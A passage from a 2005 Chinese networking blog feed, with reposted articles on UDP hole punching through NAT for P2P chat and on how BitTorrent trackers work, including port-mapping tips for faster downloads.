S1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 18.181.0.31:1235&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp; Session 1 (A-S1)&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp; 18.181.0.31:1235&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v 155.99.25.11:62000 v&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NAT<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 155.99.25.11<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp; Session 1 (A-S1)&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp; 18.181.0.31:1235&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v&nbsp;&nbsp; 10.0.0.1:1234&nbsp;&nbsp;&nbsp; v&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Client A<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 10.0.0.1:1234<BR>&nbsp;&nbsp;&nbsp; 有一个私有网络10.*.*.*，Client A是其中的一台计算机，这个网络的网关（一个NAT设备）的外网IP是155.99.25.11(应该还有一个内网的IP地址，比如10.0.0.10)。如果Client A中的某个进程（这个进程创建了一个UDP Socket,这个Socket绑定1234端口）想访问外网主机18.181.0.31的1235端口，那么当数据包通过NAT时会发生什么事情呢？<BR>&nbsp;&nbsp;&nbsp; 首先NAT会改变这个数据包的原IP地址，改为155.99.25.11。接着NAT会为这个传输创建一个Session（Session是一个抽象的概念，如果是TCP，也许Session是由一个SYN包开始，以一个FIN包结束。而UDP呢，以这个IP的这个端口的第一个UDP开始，结束呢，呵呵，也许是几分钟，也许是几小时，这要看具体的实现了）并且给这个Session分配一个端口，比如62000，然后改变这个数据包的源端口为62000。所以本来是（10.0.0.1:1234-&gt;18.181.0.31:1235）的数据包到了互联网上变为了（155.99.25.11:62000-&gt;18.181.0.31:1235）。<BR>&nbsp;&nbsp;&nbsp; 一旦NAT创建了一个Session后，NAT会记住62000端口对应的是10.0.0.1的1234端口，以后从18.181.0.31发送到62000端口的数据会被NAT自动的转发到10.0.0.1上。（注意：这里是说18.181.0.31发送到62000端口的数据会被转发，其他的IP发送到这个端口的数据将被NAT抛弃）这样Client A就与Server S1建立以了一个连接。</P>
<P>&nbsp;&nbsp;&nbsp; 呵呵，上面的基础知识可能很多人都知道了，那么下面是关键的部分了。<BR>&nbsp;&nbsp;&nbsp; 看看下面的情况：<BR>&nbsp;&nbsp;&nbsp; Server S1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Server S2<BR>&nbsp;18.181.0.31:1235&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 138.76.29.7:1235<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; +----------------------+----------------------+<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>&nbsp;&nbsp; ^&nbsp; Session 1 (A-S1)&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp; Session 2 (A-S2)&nbsp; ^<BR>&nbsp;&nbsp; |&nbsp; 18.181.0.31:1235&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp; 138.76.29.7:1235&nbsp; |<BR>&nbsp;&nbsp; v 155.99.25.11:62000 v&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v 155.99.25.11:62000 v<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Cone NAT<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 155.99.25.11<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>&nbsp;&nbsp; ^&nbsp; Session 1 (A-S1)&nbsp; ^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^&nbsp; Session 2 (A-S2)&nbsp; ^<BR>&nbsp;&nbsp; |&nbsp; 18.181.0.31:1235&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp; 138.76.29.7:1235&nbsp; |<BR>&nbsp;&nbsp; v&nbsp;&nbsp; 10.0.0.1:1234&nbsp;&nbsp;&nbsp; v&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; v&nbsp;&nbsp; 10.0.0.1:1234&nbsp;&nbsp;&nbsp; v<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Client A<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 10.0.0.1:1234<BR>&nbsp;&nbsp;&nbsp; 接上面的例子，如果Client A的原来那个Socket(绑定了1234端口的那个UDP Socket)又接着向另外一个Server S2发送了一个UDP包，那么这个UDP包在通过NAT时会怎么样呢？<BR>&nbsp;&nbsp;&nbsp; 这时可能会有两种情况发生，一种是NAT再次创建一个Session，并且再次为这个Session分配一个端口号（比如：62001）。另外一种是NAT再次创建一个Session，但是不会新分配一个端口号，而是用原来分配的端口号62000。前一种NAT叫做Symmetric NAT，后一种叫做Cone NAT。我们期望我们的NAT是第二种，呵呵，如果你的NAT刚好是第一种，那么很可能会有很多P2P软件失灵。（可以庆幸的是，现在绝大多数的NAT属于后者，即Cone NAT）<BR>&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 好了，我们看到，通过NAT,子网内的计算机向外连结是很容易的（NAT相当于透明的，子网内的和外网的计算机不用知道NAT的情况）。<BR>&nbsp;&nbsp;&nbsp; 但是如果外部的计算机想访问子网内的计算机就比较困难了（而这正是P2P所需要的）。<BR>&nbsp;&nbsp;&nbsp; 那么我们如果想从外部发送一个数据报给内网的计算机有什么办法呢？首先，我们必须在内网的NAT上打上一个“洞”（也就是前面我们说的在NAT上建立一个Session），这个洞不能由外部来打，只能由内网内的主机来打。而且这个洞是有方向的，比如从内部某台主机（比如：192.168.0.10）向外部的某个IP(比如：219.237.60.1)发送一个UDP包，那么就在这个内网的NAT设备上打了一个方向为219.237.60.1的“洞”，（这就是称为UDP Hole Punching的技术）以后219.237.60.1就可以通过这个洞与内网的192.168.0.10联系了。（但是其他的IP不能利用这个洞）。</P>
<P>呵呵，现在该轮到我们的正题P2P了。有了上面的理论，实现两个内网的主机通讯就差最后一步了：那就是鸡生蛋还是蛋生鸡的问题了，两边都无法主动发出连接请求，谁也不知道谁的公网地址，那我们如何来打这个洞呢？我们需要一个中间人来联系这两个内网主机。<BR>&nbsp;&nbsp;&nbsp; 现在我们来看看一个P2P软件的流程，以下图为例：</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Server S （219.237.60.1）<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>&nbsp;&nbsp; +----------------------+----------------------+<BR>&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>&nbsp;NAT A (外网IP:202.187.45.3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NAT B (外网IP:187.34.1.56)<BR>&nbsp;&nbsp; |&nbsp;&nbsp; (内网IP:192.168.0.1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | (内网IP:192.168.0.1)<BR>&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<BR>Client A&nbsp; (192.168.0.20:4000)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Client B (192.168.0.10:40000)</P>
<P>&nbsp;&nbsp;&nbsp; 首先，Client A登录服务器，NAT A为这次的Session分配了一个端口60000，那么Server S收到的Client A的地址是202.187.45.3:60000，这就是Client A的外网地址了。同样，Client B登录Server S，NAT B给此次Session分配的端口是40000，那么Server S收到的B的地址是187.34.1.56:40000。<BR>&nbsp;&nbsp;&nbsp; 此时，Client A与Client B都可以与Server S通信了。如果Client A此时想直接发送信息给Client B，那么他可以从Server S那儿获得B的公网地址187.34.1.56:40000，是不是Client A向这个地址发送信息Client B就能收到了呢？答案是不行，因为如果这样发送信息，NAT B会将这个信息丢弃（因为这样的信息是不请自来的，为了安全，大多数NAT都会执行丢弃动作）。现在我们需要的是在NAT B上打一个方向为202.187.45.3（即Client A的外网地址）的洞，那么Client A发送到187.34.1.56:40000的信息,Client B就能收到了。这个打洞命令由谁来发呢，呵呵，当然是Server S。<BR>&nbsp;&nbsp;&nbsp; 总结一下这个过程：如果Client A想向Client B发送信息，那么Client A发送命令给Server S，请求Server S命令Client B向Client A方向打洞。呵呵，是不是很绕口，不过没关系，想一想就很清楚了，何况还有源代码呢（侯老师说过：在源代码面前没有秘密 8）），然后Client A就可以通过Client B的外网地址与Client B通信了。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 注意：以上过程只适合于Cone NAT的情况，如果是Symmetric NAT，那么当Client B向Client A打洞的端口已经重新分配了，Client B将无法知道这个端口（如果Symmetric NAT的端口是顺序分配的，那么我们或许可以猜测这个端口号，可是由于可能导致失败的因素太多，我们不推荐这种猜测端口的方法）。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 下面是一个模拟P2P聊天的过程的源代码，过程很简单，P2PServer运行在一个拥有公网IP的计算机上，P2PClient运行在两个不同的NAT后（注意，如果两个客户端运行在一个NAT后，本程序很可能不能运行正常，这取决于你的NAT是否支持loopback translation，详见<a href="http://midcom-p2p.sourceforge.net/draft-ford-midcom-p2p-01.txt">http://midcom-p2p.sourceforge.net/draft-ford-midcom-p2p-01.txt</A>，当然，此问题可以通过双方先尝试连接对方的内网IP来解决，但是这个代码只是为了验证原理，并没有处理这些问题），后登录的计算机可以获得先登录计算机的用户名，后登录的计算机通过send username message的格式来发送消息。如果发送成功，说明你已取得了直接与对方连接的成功。<BR>&nbsp;&nbsp;&nbsp; 程序现在支持三个命令：send , getu , exit<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; send格式：send username message<BR>&nbsp;&nbsp;&nbsp; 功能：发送信息给username<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; getu格式：getu<BR>&nbsp;&nbsp;&nbsp; 功能：获得当前服务器用户列表<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; exit格式：exit<BR>&nbsp;&nbsp;&nbsp; 功能：注销与服务器的连接（服务器不会自动监测客户是否吊线）<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 代码很短，相信很容易懂，如果有什么问题，可以给我发邮件<A href="http://www.openx.cn/mailto:zhouhuis22@sina.com">zhouhuis22@sina.com</A>&nbsp; 或者在CSDN上发送短消息。同时，欢迎转发此文，但希望保留作者版权8-）。</P><!--DVNEWS_AD_BEGIN-->]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=157" /> 
	  <id>http://www.openx.cn/default.asp?id=157</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[BT运行原理分析及内网提速方法（转）]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-17T09:21:25+08:00</updated>
	  <published>2005-11-17T09:21:25+08:00</published>
		  <summary type="html"><![CDATA[<P>由于内网用户无法提供一个对外的端口,所以无法做服务器.但用BT的时候,发现它可以让内网用户做 Send,作为程序员就忍不住下载了它的源代码分析了一把(为了看它,还专门去写了一下Python:})<BR><BR>比起其它的P2P软件,BT有个独特的地方,它存在一个中间的WEB服务器,就是我们在发布的时所填写的announce.该服务器提供了发布的统一管理,不像其它P2P软件那样到处去找哪些非常不稳定的个人服务器,相对起来让人安心的多.该WEB服务器更大的作用是内网用户可以做 Send(下面会说明原理),这是其它软件无法做到的,但不好的地方是announce当机的时候就无法下载了,要知道P2P下载关键是要人气要高,announce停一下就搞到人气全没有了<BR><BR>.torrent 的作用<BR>大家都知道我们要用BT下载 ,就要先下载一个.torrent文件,这个文件到底有甚么呢:<BR>首先是 announce 纪录了发布服务器的位置,让BT知道是那个WEB服务器发布的<BR>然后是一些文件信息,文件名,目录名,长度等等；最后是片段长度,和片段的 Sha1 校验码(BT为了事现续传和文件校验,就把文件分成若干个片段)，大家可以用写字板打看torrent文件看看,就是知道个大概,后面的乱码是片段 Sha1 校验码<BR><BR>开始-续传的实现 sha校验<BR><BR>BT 打开一个 torrent文件后,先要你选择文件保存那里.然后判断文件不存在的话就建立新文件,存在的话就用 Sha1 校验码去校验文件---错误的就是还没下载的,这样就可以实现续传了,但128位校验,想不慢都不行&nbsp;&nbsp;<BR><BR>得到 peer<BR><BR>现在知道要下载甚么了,到那里下载呢?这就要寻找有谁提供上传了,这里BT是通过WEB服务器来实现的,首先BT会通过分析 torrent 来得到一面一串网址<BR><BR><A href="http://btfans.3322.org:6969/announc...2&event=started" target=_blank><FONT color=#003366>http://btfans.3322.org:6969/announc...2&event=started</FONT></A><BR><BR><A href="http://btfans.3322.org:6969/announce" target=_blank><FONT color=#003366>http://btfans.3322.org:6969/announce</FONT></A> 是发布服务器的地址<BR>info_hash 是torrent文件中的 info 部分的Sha校验码,WEB通过它在发布列表找到对应的纪录,<BR>peer_id 是自身的标识,它是12个0和当前时间+全球的唯一标识码(GUID)的Sha校验的前八位,共20位<BR>port 你提供上传的 port<BR>IP 你的ip地址,没有的话服务器会自己找到<BR>uploaded downloaded 你上传和下载了多少,服务器可以用它来做流量分析<BR>left 你还要下载多少个字节<BR>event 状态,告诉服务器你是准备开始下载,还是停止,还是下载完成了<BR>以上这个操作默认 5 分钟做一次,或由服务器设定<BR><BR><BR>服务器会做什么<BR><BR>服务器中有个一个 track 程序来管理这些请求<BR>得到这一串代码后就会用 info_hash 来查找列表,找到你就可以下载,找不到就对不起啦<BR>接着它会反连(NatCheck)你的 IP 和 Port这样就可以知道你是内网用户还是共网用户(如果你是内网用户,它是连不通的,因为它会连到你的服务器上,你的服务器当然没有这个端口啦)<BR>然后服务器返回现在正在下载这个文件的所有公网用户的IP和port,就像是这样<BR>d8:intervali1800e5 eersld2:ip14:xxx.xxx.xx.xxx7 eer id20:00180531904b7e3abdd74 orti6881eeee<BR>interval 1800 是告诉 BT 隔多少秒来查询一次这里是 30 分钟 (有点过分了 )<BR>最后如果你是公网用户它会把你提交的 IP 和 Port 放到info_hash 对应的列表中,这样其它人就<BR>可以找到你<BR><BR>下载<BR>得到这些 peer IP后,BT就可以找到对应的IP下载了<BR>Bt会到所有的peer去寻找自己要下载的东西,不是一定要到seed下载.<BR>Bt每找到一个peer就和建立一个Socket来下载,所以下载的人越多,速度就越快. <BR><BR><BR>内网用户可以做Send的原理<BR><BR><BR>上面说到服务器只会返回公网的ip的,那内网用户怎么可以做Send呢,这是因为BT是一个主动连接的软件(即使你已经下载完了,也不也会主动连接他人)<BR>下面是一个仿真流程:<BR><BR>1 内网用户开始做 seed,<BR>2 服务器收到请求,由于是第一个所以也没有peer返回<BR>3 公网用户提交请求,由于seed是内网用户所以也没有peer返回,等待下载,但服务器会把它的IP放到列表中<BR>4 内网经过 interval 时间间隔后,再向服务器放出请求,得到上面得公网IP<BR>5 得到公网IP后,内网马上进行连接<BR>6 公网用户建立连接,数据开始传输 (注意现在是公网用户做服务器,内网用户做客户端,是不是有点怪)<BR>7 其它内网用户去上面公网用户下载数据<BR><BR>所以,内网用户做 seed 一定要有公网用户得参与,否则其它内网用户无法下载.如果全部是内网用户,那个所有连接都不会成立,当然这是比较极端的情况.<BR>以上可见,内网用户不能和内网用户连接,其它用户无法从服务器查到你,所以无法主动连接你,你只能每隔30分钟从服务器找到公网用户一个个进行连接.<BR>由于中国很多用户的是内网用户(我从服务器上查回来的peer还没试过超过10个的),所以内网用户用BT的确要比公网用户要慢很多.于是有了下面的<BR><BR>内网提速大法<BR><BR>了解了原理我们就有解决的方法,不就是外面的人找不到我们吗,让他们找到不就行了<BR>终极武器 NAT --端口映像(又叫网络地址翻译) 其原理这里就不说了(其实也不是很复杂), 其作用是让服务器把指定端口的请求转发到指定的IP上,让其它的机器来响应这些请求,而内网向外网发送的时候不再是像其它网关服务那样随机分配端口,而是用上面指定的端口<BR><BR>可以用的软件有 <BR>WinRoute Pro <BR>PortTunnel<BR>软件下载和使用方法见 <A href="http://www.pconline.com.cn/pcedu/so...1/127157_2.html" target=_blank><FONT color=#003366>http://www.pconline.com.cn/pcedu/so...1/127157_2.html</FONT></A><BR><BR>但如果你的服务器是 win2000,并用自带的网络共享功能,那么有更简单的方法<BR>在你共享的连接上按右键 -&gt;属性<BR>到公用设定板按下面的设定按钮,系统会弹出设置窗口<BR>到服务板,按新增<BR>名称 随便填<BR>端口 6881<BR>勾选TCP<BR>私人网络中的计算机名称或ip 填你的本机ip <BR>然后保存,再按同样的方法增加 6882-6889端口的映像,把它们通通指向你的计算机<BR>(因为我的系统是繁体系统,所以以上的名称不一定和你的相同)<BR>不明白的可以看看WIn2000帮助系统中有关 NAT的说明<BR><BR>用了端口映射后,只有你一个人爽,其它人还是老样子(包括服务器) ,不过你可以搞一台BT下载专用机 <BR>现在享受以下速度的快感吧</P>
<P>&nbsp;</P>
<P>摘<A href="http://blog.csdn.net/lithe/archive/2005/11/08/525207.aspx"><FONT color=#000000>:</FONT>http://blog.csdn.net/lithe/archive/2005/11/08/525207.aspx</A><BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=156" /> 
	  <id>http://www.openx.cn/default.asp?id=156</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[P2P之UDP穿透NAT的原理与实现(shootingstars)--增强篇(附源代码)]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-17T09:19:41+08:00</updated>
	  <published>2005-11-17T09:19:41+08:00</published>
		  <summary type="html"><![CDATA[<P>摘:http://blog.csdn.net/lithe/archive/2005/11/08/525238.aspx</P>
<P>&nbsp;</P>
